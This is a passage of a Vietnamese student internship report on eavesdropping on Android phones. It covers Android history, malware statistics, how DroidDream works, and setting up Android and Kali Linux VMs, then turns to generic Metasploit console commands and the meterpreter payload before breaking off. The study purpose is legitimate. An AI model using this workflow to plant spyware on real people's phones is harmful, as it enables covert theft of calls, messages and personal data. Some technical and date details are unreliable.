Trong xml layout được dùng để quản lý các thành phần giao diện khác theo một trật tự

nhất định.

- FrameLayout: layout đơn giản nhất, thêm các thành phần con vào góc trên bên trái

của màn hình.

Page 18: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

19

- Linearlayout: thêm các thành phần con theo 1 chiều nhất định (ngang hoặc dọc). Đây

là layout được sử dụng nhiều nhất.

- RelativeLayout: thêm các thành phần con dựa trên mối quan hệ với các thành phần

khác hoặc biên của layout.

- TableLayout: thêm các thành phần con dựa trên 1 lưới các ô ngang dọc.

- AbsoluteLayout: thêm các thành phần con dựa theo tọa độ x, y.

Layout được sử dụng nhằm mục đích thiết kế giao diện cho nhiều độ phân giải.

Thường khi lập trình thường kết hợp nhiều layout với nhau để tạo ra giao diện như

mong muốn.

1.7 Lịch sử phát triển

Tháng 10 năm 2003, Tổng công ty Android (Android, Inc.) được thành lập tại

Palo Alto, California bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner

(đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc

T-Mobile) và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo

lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích

của người dùng". Mặc dù các nhân viên đều là những người có tiếng tăm nhưng công

ty sau khi thành lập lại hoạt động một cách âm thầm mà chỉ tiết lộ rằng họ đang làm

phần mềm cho điện thoại di động. Không lâu sau đó (cùng trong năm 2003) công ty

lâm vào tình trạng cạn kiệt tài chính.

Page 19: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

20

Infographic Lịch sử phát triển Android

Page 20: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

21

Page 21: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

22

Ngày 17 tháng 8 năm 2005, Google mua lại Tổng công ty Android biến nó thành

một bộ phận trực thuộc của mình đồng thời giữ cũng giữ lại các nhân viên chủ chốt gồm

Rubin, Miner và While. Hành động này dẫn đến nhiều tin đồn cho rằng Google dự tính

tham gia vào thị trường điện thoại di động. Tại Google, nhóm do Rubin đứng đầu đã

phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux được Google

quảng bá đến các nhà sản xuất điện thoại di động như là một hệ thống uyển chuyển và

có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối

tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác

nhau.

Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset

Alliance), một hiệp hội bao gồm nhiều công ty với cả những gã khổng lồ như Texas

Instruments, Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn Marvell

Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-

Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động.

Cùng ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh,

một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện

thoại chạy Android đầu tiên được bán ra là HTC G1, phát hành ngày 22 tháng 10 năm

2008. Biểu trưng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do

hãng thiết kế Irina Blok tại California vẽ.

Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều

hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi

bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn

tráng miệng; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối

bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất hiện nay là Android 4.4 và

Android L (dành cho nhà phát triển) được phát hành vào năm 2014.

1.8 Sự ra mắt của các phiên bản Android

Android alpha: là phiên bản nội bộ trong Google và OHA được nghiên cứu và phát

triển trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro Boy",

"Bender" và "R2-D2".

Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó bộ phát

triển phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.

Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào ngày

22 tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được bán ra ở

Mỹ. Đến ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản thương mại

của phần mềm.

Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là bản cập

nhật đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một số tính năng.

Page 22: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

23

Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và Android 1.6

(API mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật bao gồm một số

tính năng mới và sử đổi giao diện người dùng UI.

Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức độ 9,

2.3.3-2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2 năm 2011 với

nhiều tính năng mới được thêm vào, thay đổi giao diện người dùng cũng như nâng cao

khả năng bảo mật.

Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5 đến

tháng 7 năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy tính bảng.

Mặc dù không để lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên bản này là nền

tảng cho Android 4.0.

Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12 năm

2011 và tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển của

Android với nhiều cải tiến về mặt công nghệ cung như tính năng. Đặc biệt phiên bản

này là sự hợp nhất cho hệ điều hành smartphone và máy tính bảng.

Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho nhà phát

triển.

Theo sự kiên GOOGLE I/O năm 2013 đã thống kê rằng thị phần của hai nền tảng

Android 2.3 va Android 4.x vẫn được ưa chuộng nhất (38.5% và 33.0%).

Page 23: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

24

2. Nghe lén trên Android

2.1 Định nghĩa

Nghe lén trên android là công việc xâm nhập vào điện thoại chạy hệ điều

hành android và tìm cách đánh cấp thông tin cá nhân, danh bạ, tài khoản, file,

ghi âm cuộc gọi, xem tin nhắn, mail, vị trí… mà người dùng không hay biết.

Công việc này được thực hiện bằng cách cài đặt mã độc hay malware vào

máy victim.

+ Mã độc được tạo bằng cách sử dụng các tools có sẵn như metasploit hay

tự viết.

+ Malware là phần mềm nhưng được cài mã độc vào trong đó. Malware có

thể có thể có sẵn trong phần mềm hoặc được bên thứ 3 cài vào; iCalender,

iMatch.

2.2 Mã độc trong môi trường Android:

2.2.1 Android là một môi trường lý tưởng cho mã độc phát triển.

Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng

các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.

Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và

máy tính bảng.

Android là một hệ điều hành mã nguồn mở.

2.2.2 Phân loại mã độc Android.

Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt động lây

nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai mã độc

làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu

của mã độc để chia ra làm 9 họ:

Đánh cấp thông tin cá nhân 51,3%

Gửi tin nhắn trái phép (IMEL,..) 30,1%

Botnet(spam, thư rác,..) 23,5%

Truy cập Root 18,3%

Tải từ Google-Play 11,3%

Cài đặt các ứng dụng khác 10,4%

Đánh cấp định vị của người dùng 8,7%

Page 24: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

25

Cài đặt các ứng dụng hỗ trợ hacker 7,8%

Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5%

2.3 Thực trạng

Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav,

chỉ trong năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav Mobile Security

đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của cả năm 2013.

Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi tin nhắn SMS đến đầu

số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn, tính ra mỗi ngày người sử

dụng VN bị “móc túi” số tiền khổng lồ lên tới hơn 3,9 tỉ đồng”, báo cáo của Bkav kết luận.

Thực tế, số tiền các loại virút “móc túi” người dùng smartphone có thể hơn gấp nhiều lần

vì có rất nhiều điện thoại bị nhiễm virút trong một thời gian dài nhưng chủ nhân không

nhận biết và cũng không có biện pháp kiểm tra, theo dõi.

Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc

trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã

độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền tảng

Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di động của

Google vừa được hãng bảo mật Kaspersky Lab công bố.

Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ

yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ

những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn

cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được

cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc mới được phát

tán trên Android trong quý I năm 2013.

Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số

lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013,

Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng

số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh

hưởng nặng nhất.

Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các

loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực

bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc,

đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện

cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.

Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật

trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu dựa

vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có chứa

Page 25: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

26

mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như

Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của

hacker.

Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng

khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là

1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát

tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).

2.4 Malware – tiêu biểu của trên Android.

Đã không còn chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và

đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần

mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà

người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính,

nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng,

bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng không đáng kể.

Tuy nhiên giờ đây khi smartphone đang ngày càng phát triển và phổ biến dần thay thế

máy tính từ các công việc soạn thảo văn bản, giải trí đến giao dịch ngân hàng thì nó trở

thành mục tiêu tấn công của Malware.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay

mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có

cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách

thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch

vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao tác xác nhận... thông

qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi bạn thực hiện giao dịch

với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực hiện trên máy bạn, tắt một

số dịch vụ để dễ kiểm soát.

2.4.1 Cơ chế hoạt động của Malware.

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là

Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng

chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào

thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.

Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho

phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông

tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi

DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một

Page 26: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

27

ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc

cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các

ứng dụng mà không được phép.

Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu

việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm,

checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là

Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào

khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà

điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn

hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình.

2.4.1.1 Mục đích của Malware DroidDream

DroidDream được coi là một trong những Malware đầu tiên trên Android, mục

đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của

người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể

của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như

Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không cần sự cho

phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách

chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo,

Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân

hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các

ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu

thập bởi các malware này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện

thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị

một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa

đến an sự an toàn của người dùng hệ điều hành này.

2.5 Cơ chế bảo mật trong Android

2.5.1 Tính bảo mật trong Android

Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.

Các ứng dụng android được phân biệt bởi system ID.

Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.

Bảo mật trong android được thể hiện qua cơ chế “Permission”

2.5.2 Cơ chế Permission:

Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và

người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin

Page 27: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

28

nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác

người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài nguyên này sẽ

được thông báo đến người dùng trước khi cài đặt ứng dụng.

2.5.3 Google Play:

Kiểm soát việc đăng và quản lí quyền trên các ứng dụng. Ngăn chặn mã độc .

3. Cài đặt Android trên máy ảo

3.1 Chuẩn bị

Tải và cài VM Virtualbox hoặc Vmware.

Tải file máy ảo virtualbox(file ova) và phần mềm AndroVMplayer tại địa chỉ sau

http://androvm.org/blog/download/

Chọn phiên bản phù hợp với hệ điều hành :

3.2 Tiến hành cài đặt

Bước 1: tiến hành import máy ảo

Tiến hành giải nén file ova, click vào file có đuôi .ovf

Hình 1. File máy ảo virtualbox

Hình 2

Page 28: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

29

Chọn “Import” và chờ quá trình import hoàn thành

Ta có được máy ảo sau

Page 29: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

30

Chọn card bridged cho máy ảo để có thể kết nối ra ngoài.

Bước 2: tiến hành thiết lập máy ảo:

Sau khi chạy thử máy ảo và hoàn thành các thiết lập ban đầu của HDH

Android, ta được giao diện sau:

Vào AndroidVM Configulation trên android, tick vào ô “Hardware

OPENGL”, sau đó khởi động lại máy ảo. (Bước này giúp máy ảo android

chạy và có độ phản hồi nhanh hơn).

Page 30: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

31

Bước 3 : chạy máy ảo.

Chạy máy ảo trên viltualbox, ghi lại địa chỉ IP

Khởi động phần mềm AndroiVMplayer, nhập IP vừa ghi lại được và nhấp

“Run”

Page 31: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

32

Bước 4: hoàn thành

Page 32: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

33

4. Nghiên cứu Kali Linux, sử dụng metasploit tạo mã độc trên

Kali Linux để xâm nhập vào máy Android

4.1 Tổng quan Kali Linux

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để

kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux

là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng

sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã

công bố phiên bản mới của BackTrack có thên là Kali Linux (được xem như phiên bản

BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà

bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác nghiệp.

4.2 Cải tiến của Kali Linux so với Backtrack.

Kali phát triển trên nền tảng hệ điều hành Debian

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu

trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có

được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập

nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan

trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói

của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu

trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem

xét hoặc thay đổi mã nguồn của các công cụ.

Tính tương thích kiến trúc

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến

trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta

có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.

Hỗ trợ mạng không dây tốt hơn

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính

là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay

USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá

mạng không dây.

Khả năng tùy biến cao

Page 33: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

34

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối

với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như

GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.

Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều

hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta

đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã

dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không

phải cài lại mới hoàn toàn nữa

4.3 Cài đặt Kali Linux

4.3.1 Chuẩn bị

File iso Kali Linux: http://www.kali.org/downloads/

Máy có cài sẵn Vmware.

4.3.2 Cài đặt.

Đầu tiên ta cần download Kali Linux tại link sau http://www.kali.org/downloads/.

Chọn phiên bản phù hợp tiến hành download. Ở đây chọn phiên bản dành cho

windowns 32 bit download bằng link trực tiếp. Sau khi có file iso ta tiến hành cài đặt

Kali Linux trên máy ảo.

Page 34: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

35

Khởi động VMwarre, ở góc phải trên màn hình chọn File -> New Virtual

Machine....

Hình 32. Chon phương thức cái đặt.

Chọn Typical, nhấn Next để tiếp tục.

Hình 33. Tìm đường dẫn đến file iso Kali Linux.

Page 35: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

36

Chọn Installer disc image file, nhấn Browse… tìm đường dẫn đến file iso của

Kali Linux sau đó nhấn Next để tiếp tục.

Hình 34. Chọn dung lượng đĩa.

Thiết đặt dung lượng tối đa dùng để cài đặt Kali Linux sau đó chọn Next.

Hình 35. Xác nhận cài Đặt.

Page 36: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

37

Chọn Finish để xác nhận tiến hành cài đặt.

Hình 36. Cài đặt Kali Linux.

Tại đây ta chọn Graphical install => Enter để tiến hành cài đặt trực quan bằng

giao diện.

Hình 37. Chọn Ngôn Ngữ.

Tiến hành chọn lựa ngôn ngữ (ở đây chọn English), nhấn continue.

Page 37: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

38

Hình 38. Chọn khu vực.

Lựa chọn khu vực ta chọn other => Continue.

Hình 39. Khu vực Asia.

Tiếp tục chọn khu vực là Asia => Continue.

Page 38: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

39

Hình 40. Chọn quốc gia Viet Nam.

Chọn quốc gia là Viet Nam => Continue.

Hình 41. Chọn bảng mã.

Page 39: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

40

Chọn bảng mã là United States – en_US.UTF. Bảng mã này gồm đầy đủ các ký

tự Latinh đồng thời hỗ trợ Tiếng Việt. Nhấn Continue để tiếp tục.

Hình 42. Chọn kiểu bàn phím.

Chọn kiểu bàn phím Ameican English => Continue.

Hình 43. Đặt Hostname.

Page 40: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

41

Tiếp theo là thiết đặt mạng. Đặt tên Hostname là bắt buộc. Ta có thể đặt tên bất

kỳ nhưng không thể có khoảng trắng. Nhấn Continue để tiếp tục.

Hình 44. Đặt Domain name.

Có thể bỏ trống Domain name => Continue.

Hình 45. Đặt root password.

Page 41: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

42

Điền hai lần Root password giống nhau (nhớ password đã đặt để sau này đăng

nhập) => Continue.

Hình 46. Tùy chọn ổ đĩa.

Tùy chọn ổ đĩa cài đặt. Ở đây ta chọn use entire disk -> continue.

Hình 47. Chọn ổ đĩa cài đặt.

Tiếp tục nhấn Continue.

Page 42: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

43

Hình 48. Phương thức cài đặt ổ đĩa.

Chọn All file in one partion => Continue.

Hình 49. Xác nhận thông số cài đặt.

Kiểm tra thiết đặt thông tin ổ đĩa. Nếu có sai sót chọn Go Back để sửa đổi. Chọn

Continue tiếp tục.

Page 43: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

44

Hình 50. Xác nhận định dạng ổ đĩa.

Chọn Yes để xác nhận thay đổi ổ đĩa => Continue để tiến trình bắt đầu copy file

và cài đặt Kali Linux.

Hình 51. Cài đặt bắt đầu.

Page 44: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

45

Hình 52. Tìm kiếm cập nhật qua internet.

Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua mạng.

Ta chọn No để nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong).

Hình 53. Xác nhận cài đặt GRUD.

Page 45: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

46

Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không. Ta

chọn Yes => Continue.

Hình 54. Xác nhận cài đặt thành công.

Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình sẽ

thực hiện xoa một số file dư thừa sau khi cài đặt rồi khởi động lại.

Hình 55. Đăng nhập Kali Linux.

Page 46: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

47

Sau khi khởi động xong ta nhập User là root va password được đặt ở trên để đăng

nhập. Như vậy là ta đã hoàn thành cài đặt xong Kali Linux.

4.4 Nghiên cứu về Metasploit

4.4.1 Giới thiệu Metasploit

Metasploit Framework là môi trường dùng để kiểm tra, tấn công và khai thác lỗi

của của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với

những components được viết bằng C, assembler và Python. Metasploit có thể chạy

trên hầu hết các hệ điều hành Windows, Linux, MacOS.

4.4.2 Các thành phần của Metasploit

+ Cosole interface : dùng msfconsole.bat . Msfconsole interface sử dụng được các

dòng lệnh cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.

+ Web interface : dùng msfweb.bat giao tiếp với người dùng thông qua giao diện

web.

+ Command line interface : dùng msfcli.bat .

+ Môi trường :

Global Enviroment : được thực thi thông qua 2 câu lệnh setg và unsetg, những

options này được gán ở đây sẽ mang tính toàn cục, được đưa tất cả vào trong

module exploits.

Temporary Enviroment : được thực thi thông qua 2 câu lệnh set và unset,

enviroment này chỉ được đưa vào module exploits hiện tại và không ảnh hưởng

đến các modul exploits khác.

Chúng ta có thể lưu lại enviroment đã cấu hình thông qua lệnh save. Môi

trường đó sẽ được lưu lại trong /.msfconfig và sẽ được load trở lại khi user

interface được thực hiện.

Những options nào chung giữa giữa các exploits module : LPORT, LHOST,

PAYLOAD thì chúng ta sẽ xác định ở Global Enviroment.

4.4.3 Sử dụng Metasploit framework

1. Chọn module exploit : lựa chọn chương trình, lỗi mà Metasploit có hỗ trợ để khai

thác.

+ Show exploits : xem các module mà exploit mà framework hỗ trợ.

+ Use exploit_name : chọn exploit name.

+ Info exploit_name : xem thông tin về module exploit.

2. Cấu hình module exploit đã chọn.

+ Show options : xác định những options nòa cần cấu hình.

Page 47: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

48

+ Set : cấu hình cho những options của những module đó.

3. Verify những options vừa cấu hình.

+ Check : Kiểm tra những options đã được cấu hình chính xác chưa.

4. Lựa chọn target : lựa chọn hệ điều hành nào để tiến hành.

+ Show target : những target được cung cấp bởi module đó.

+ Set : xác định target nào.

5. Lựa chọn payload

+ Payload là đoạn mã code sẽ chạy trên hệ thống remote machine.

+ Show payloads : liệt kê ra những payload của module exploit hiện tại.

+ Info payload_name : xem thông tin chi tiết về payload đó.

+ Set payload payload_name : xác định tên của payload module. Sau khi chọn

payload nào ta dùng lệnh show

options để xem options của payload đó.

+ Show advanced : xem những advanced options của payload.

6. Thực thi exploit

+ Exploit : lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn

những thông tin cần thiết.

4.4.4 Payload meterpreter

Meterpreter là viết tắt của meta-Interpreter là một advanced payload có trong

Metasploit framework. Mục đích của nó là để cung cấp những tập lệnh để khai thác

tấn công các remote computer. Nó được viết từ các developer dưới dạng shared

